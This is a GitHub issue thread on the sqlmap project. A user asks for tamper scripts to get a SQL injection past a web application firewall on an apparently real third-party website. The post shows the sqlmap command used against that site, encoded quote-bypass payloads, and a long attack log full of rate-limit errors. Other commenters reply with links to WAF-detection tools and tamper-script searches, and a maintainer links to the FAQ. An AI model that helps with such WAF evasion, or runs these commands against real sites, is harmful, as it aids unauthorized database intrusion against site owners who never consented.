Skip to content

Promotion Assistance injections #4542

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom
Closed
Daddy666291 opened this issue Jan 13, 2021 · 4 comments
Closed

Promotion Assistance injections #4542

Daddy666291 opened this issue Jan 13, 2021 · 4 comments
Labels
feature request

Comments

@Daddy666291
Copy link

Greetings, you can suggest how to bypass the WAF or how to spin this sql injection, which tampers are best used for, or in all your bypass and promotion options, I will be very grateful.

And which tampers do you recommend to use if in a vulnerable parameter the value \ or ' or in all types of such 1%00%C0%A7%C0%A2%252527%252522

sqlmap.py --random-agent --threads=3 --time-sec=10 --dbms=mysql --level=3 --risk=3 --tamper="space2comment,space2hash" -u "https://test.net/ru/1'"*/search/country-ar/host-1/map-1/name-tsslauep/"

Here is the error itself:

1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"*', '1', '', '6.4759254455566', '116.203.29.216')' at line 1

The log itself:

[00:29:58] [INFO] loading tamper module 'space2comment'
[00:29:58] [INFO] loading tamper module 'space2hash'
[00:29:58] [WARNING] tamper script 'space2hash' is only meant to be run against MySQL
[00:29:59] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy)' from file 'C:\Python27\sqlmap\data\txt\user-agents.txt'
custom injection marker ('') found in option '-u'. Do you want to process it? [Y/n/q] y
[00:30:00] [INFO] testing connection to the target URL
[00:30:01] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('20438a31d92e1eebe89c7ccd0b9d2f0f=a62d4dbc986...020160e016'). Do you want to use those [Y/n] n
[00:30:02] [INFO] testing if the target URL content is stable
[00:30:03] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[00:30:04] [INFO] testing if URI parameter '#1' is dynamic
[00:30:06] [INFO] URI parameter '#1*' appears to be dynamic
[00:30:06] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[00:30:09] [INFO] testing for SQL injection on URI parameter '#1*'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) value? [Y/n] y
[00:30:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:30:22] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[00:30:22] [WARNING] reflective value(s) found and filtering out
[00:30:32] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[00:30:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[00:30:42] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[00:30:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[00:30:51] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'
[00:30:58] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[00:30:58] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[00:30:58] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'
[00:30:58] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[00:30:59] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'
[00:30:59] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
[00:31:05] [INFO] testing 'Generic inline queries'
[00:31:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[00:31:11] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[00:31:20] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[00:31:26] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[00:31:36] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[00:31:47] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[00:32:05] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[00:32:16] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[00:32:34] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (boolint)'
[00:32:45] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (boolint)'
[00:33:02] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'
[00:33:03] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'
[00:33:04] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'
[00:33:05] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'
[00:33:06] [INFO] testing 'MySQL boolean-based blind - Parameter replace (boolint)'
[00:33:07] [INFO] testing 'MySQL boolean-based blind - Parameter replace (boolint - original value)'
[00:33:08] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[00:33:08] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[00:33:09] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[00:33:09] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[00:33:09] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries'
[00:33:16] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'
[00:33:16] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[00:33:23] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[00:33:30] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[00:33:37] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[00:33:44] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[00:33:51] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[00:33:58] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[00:34:05] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[00:34:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:34:19] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:34:26] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[00:34:34] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[00:34:41] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[00:34:48] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[00:34:54] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:35:01] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[00:35:08] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[00:35:12] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[00:35:17] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[00:35:17] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[00:35:17] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[00:35:17] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[00:35:17] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[00:35:17] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[00:35:17] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[00:35:18] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)'
[00:35:18] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)'
[00:35:18] [INFO] testing 'MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)'
[00:35:18] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)'
[00:35:19] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[00:35:19] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'
[00:35:19] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)'
[00:35:19] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[00:35:20] [INFO] testing 'MySQL inline queries'
[00:35:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[00:35:23] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[00:35:28] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[00:35:32] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[00:35:37] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[00:35:40] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[00:35:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:35:52] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[00:35:59] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[00:36:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'
[00:36:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'
[00:36:17] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'
[00:36:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[00:36:26] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[00:36:31] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[00:36:38] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[00:36:44] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query - comment)'
[00:36:49] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query - comment)'
[00:36:54] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[00:37:00] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[00:37:05] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[00:37:12] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'
[00:37:16] [INFO] testing 'MySQL AND time-based blind (ELT)'
[00:37:23] [INFO] testing 'MySQL OR time-based blind (ELT)'
[00:37:30] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[00:37:34] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
[00:37:39] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[00:37:44] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[00:37:47] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[00:37:47] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)'
[00:37:47] [INFO] testing 'MySQL < 5.0.12 time-based blind - Parameter replace (heavy queries)'
[00:37:47] [INFO] testing 'MySQL time-based blind - Parameter replace (bool)'
[00:37:47] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)'
[00:37:47] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET)'
[00:37:49] [INFO] testing 'MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause'
[00:37:49] [INFO] testing 'MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[00:37:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:38:01] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[00:38:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:38:11] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[00:38:16] [WARNING] URI parameter '#1*' does not seem to be injectable
[00:38:16] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests
[00:38:16] [WARNING] HTTP error codes detected during run:
400 (Bad Request) - 88 times, 404 (Not Found) - 1462 times, 500 (Internal Server Error) - 3 times, 429 (?) - 1735 times
@c2xusnpq6
Copy link

https://github.com/Ekultek/WhatWaf ?

@c2xusnpq6
Copy link

https://github.com/m4ll0k/Atlas ?

@c2xusnpq6
Copy link

https://www.google.com/search?q=inurl:github.com/sqlmapproject/sqlmap+inurl:tamper+-Requirement+-Requirements&filter=0

https://www.google.com/search?q=inurl:github.com/sqlmapproject/sqlmap+inurl:tamper+mysql&filter=0

@stamparm
Copy link
Member

https://github.com/sqlmapproject/sqlmap/wiki/FAQ#which-tamper-script-to-use-to-bypass-a-wafips-protection

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
feature request
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
3 participants
@stamparm @c2xusnpq6 @Daddy666291